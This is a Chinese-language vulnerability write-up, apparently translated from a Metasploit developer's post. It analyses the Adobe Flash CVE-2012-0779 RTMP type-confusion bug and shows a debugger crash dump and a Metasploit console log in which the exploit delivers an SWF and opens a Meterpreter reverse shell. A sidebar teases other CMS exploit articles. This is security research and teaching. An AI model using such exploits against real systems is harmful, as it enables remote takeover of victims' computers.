利用Metasploit编写Adobe Flash漏洞模块 (CVE-2012-0779)

所属分类: 网络安全 / 漏洞分析 阅读数: 2137
收藏 0 赞 0 分享
上个月爆了一个Adobe Flash的漏洞,影响Windows, Macintosh和Linux平台下的Adobe Flash Player 11.2.202.233和之前版本,Android 4.x下Adobe Flash Player 11.1.115.7及之前版本,Android 3.x和2.x下的Adobe Flash Player 11.1.111.8及之前版本存在一个对象混淆引起的严重漏洞。这个漏洞可导致应用程序崩溃或可能允许攻击者完全控制受影响系统。
根据报告,此漏洞目前在网络上已经积极被利用,通过诱使用户点击嵌入到Email消息中的以文件来触发。利用的程序目标针对windows平台上的Flash Player。
今天我们来研究一下如何在Metasploit中编写该漏洞的EXP。
最初我们发现了这个漏洞的样本,并开始分SWF(Shockwave文件),我们发现该漏洞利用SWF堆喷射技术使攻击者可以操纵应用程序的内存分配,可以控制内存特定的区域,然后可以执行任意shellcode。但是我们并没有在实际环境中触发该漏洞。经过更多的测试之后,我们认为该漏洞很有可能是由于在RTMP传递数据的时候处理 AMF (Action Message Format)发生的问题。

复制代码
代码如下:

public function v42(_arg1:String):void{
// The NetConnection class creates a two-way connection
// between a client and a server. The client can be a Flash
// Player or AIR application. The server can be a web server,
//Flash Media Server, an application server running Flash Remoting, or the Adobe Stratus service
this.v15 = new NetConnection();
var _local2 = "rtmp://";
var _local3 = "/TSGeneralSetting";
var _local4:String = ((_local2 + _arg1) + _local3);
// Creates a two-way connection to an application on Flash Media Server or to Flash Remoting, or creates a two-way
// network endpoint for RTMFP peer-to-peer group communication
this.v15.connect(_local4);
// Calls a command or method on Flash Media Server or on an application server running Flash Remoting
this.v15.call("systemMemoryCall", this.v16, "argc");
}


我们建立了一个自己的Flash Media Server来检测数据传输时的信息。如下图:
 第一个猜测是在systemMemoryCall()的响应解析时可能会触发漏洞,但是我们的RTMP服务器没有识别到该函数的调用,而且返回了一个AMF的错误信息。进一步测试我们捕获受感染机器与RTMP服务器之间的RTMP通信,如下图:

恶意RTMP服务器响应的“_error”信息如下,看起来如下:
Field Name Type Description Command Name
String
_error indicates an error
Transaction ID
Number
Transaction ID
Information
Object
Name-value pairs that describe the response from|the server ‘code’, ‘level’, ‘description’ are names of few.
运行了RTMP “_error” 响应之后,我们终于能够让Adobe Flash触发该漏洞,如下:

复制代码
代码如下:

(348.540): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=02dbac01 ebx=0013e2e4 ecx=02dbac10 edx=44444444 esi=02dbac11 edi=00000000
eip=104b1b2d esp=0013e2bc ebp=0013e2c8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
ds:0023:44444470=????????

0:000> u eip
Flash32_11_2_202_228!DllUnregisterServer+0x300e84:
104b1b2d 8b422c mov eax,dword ptr [edx+2Ch]
104b1b30 53 push ebx
104b1b31 ffd0 call eax

因为处理畸形的 RTMP _error会产生类型混乱,所以在测试该漏洞时不需要等待systemMemoryCall()请求,相反,一个恶意的RTMP服务器可以返回一个制作好的恶意”_error” 响应信息,包含一个链接RTMP服务器的命令。这样我们更容易建立Metasploit的模块。
Metasploit的支持许多不同的协议,但是没有RTMP,所以我们建立了一个Rex::Socket::TcpServer的API,可以跟客户端产生交互的RTMP。提供三次握手协议和服务器恶意的_error响应信息。
如下:

复制代码
代码如下:

msf > use exploit/windows/browser/adobe_flash_rtmp
msf exploit(adobe_flash_rtmp) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.157:4444
[*] Using URL: http://0.0.0.0:8080/Sgs7eu3zjBo0
[*] Local IP: http://192.168.1.157:8080/Sgs7eu3zjBo0
[*] Server started.
msf exploit(adobe_flash_rtmp) > [*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0
[*] 192.168.1.158 adobe_flash_rtmp - Using msvcrt ROP
[*] 192.168.1.158 adobe_flash_rtmp - Sending html
[*] 192.168.1.158 adobe_flash_rtmp - Client requesting: /Sgs7eu3zjBo0/BnKXAzRw.swf
[*] 192.168.1.158 adobe_flash_rtmp - Sending Exploit SWF
[*] 192.168.1.158 adobe_flash_rtmp - Connected to RTMP
[*] Sending stage (752128 bytes) to 192.168.1.158
[*] Meterpreter session 1 opened (192.168.1.157:4444 -> 192.168.1.158:1840) at 2012-06-22 11:11:16 +0200
[*] Session ID 1 (192.168.1.157:4444 -> 192.168.1.158:1840) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2284)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3904
[+] Successfully migrated to process

该模块在新的Metasploit中已经支持。请下载或更新到最新版本使用即可。
via/Juan Vazquez 译/freebuf
更多精彩内容其他人还在看

DEDECMS任意修改文章漏洞(exp)

  这个漏洞不足以得到马儿 但能修改任何文章 也算是一个严重的漏洞!   废话不说   经典对白 看代码!   membersoft_edit.php   01if(empty($dopost)) //如果这里是空也就是直接访问这个文件   02{   03 //读取归档信息  
收藏 0 赞 0 分享

eWebeditor漏洞的修补

  漏洞原理   漏洞的利用原理很简单,请看Upload.asp文件:   任何情况下都不允许上传asp脚本文件   sAllowExt = Replace(UCase(sAllowExt), "ASP", "")   修补方法:用以下语句
收藏 0 赞 0 分享

发掘MaosinCMS网站系统漏洞与测试

  最近的动易CMS漏洞可以说着实火了一把,本文写的CMS虽然没有动易功能强大,但同样存在注入漏洞。这种漏洞用工具是扫不到的,可以说注入已经由显式转为隐式了,必须查看源代码才有可能发现潜在的漏洞。   适合读者:入侵爱好者前置知识:无发掘MaosinCMS网站系统漏
收藏 0 赞 0 分享

关于bo-blog的安全隐患

  bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。   首先开门见山,我们说说它的绝对路径暴露问题.......
收藏 0 赞 0 分享

野草weedcmsV5.2.1 任意删除文件漏洞

  member.php   if($action=='edit_member_ok'){ //member.php?action=edit_member_ok   check_request(); //检查来路   if(!check_login()){ //检测是否登录会员
收藏 0 赞 0 分享

EimsCms v5.0 XSS+CSRF获取Shell方法

  影响版本:EimsCms v5.0   官方网站:http://www.eimscms.com/   漏洞类型:跨站XSS   漏洞描述:未对Book.asp邮箱等处进行符号转义,导致XSS跨站执行漏洞。   ------GetShell-----   [1] 在Book.a
收藏 0 赞 0 分享

动易4.03上传漏洞

  动易4.03上传漏洞。2005-1-10 就出来了,一直没有公布。   看黑客防线的攻关第3关用的是动易所有公布出来了。   影响版本: 动易4.03   上面的是动易的上传代码,从上面分析,我们可以看到,它明显存在着上传漏洞。重要的漏洞代   码在于这一句   FileEx
收藏 0 赞 0 分享

利用%5c绕过验证

  说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。   好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:_bug&do=view&bug_id=
收藏 0 赞 0 分享

DISCUZ X1.5 本地文件包含漏洞

  DISCUZX1.5 本地文件包含,当然是有条件的,就是使用文件作为缓存。   config_global.php   $_config['cache']['type'] = ‘file’;   function cachedata($cachenam
收藏 0 赞 0 分享

PHP在安全方面的另类应用

  1.远程文件   PHP是一门具有丰富特性的语言,它提供了大量函数,使程序员能够方便地实现各种功能,远程文件就是一个很好的例子:   代码      $fp=@Fopen($url,"r") or die ("cannot open $url&q
收藏 0 赞 0 分享
查看更多